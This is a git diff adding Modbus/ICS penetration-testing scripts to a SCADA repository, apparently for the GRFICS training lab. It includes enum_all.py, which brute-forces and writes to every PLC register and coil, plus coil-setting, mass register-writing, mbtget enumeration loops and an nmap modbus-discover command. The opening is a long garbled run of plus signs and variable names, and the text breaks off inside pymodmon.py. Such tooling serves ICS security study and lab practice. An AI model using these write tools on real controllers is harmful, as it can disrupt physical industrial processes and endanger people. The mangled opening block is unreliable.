+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = 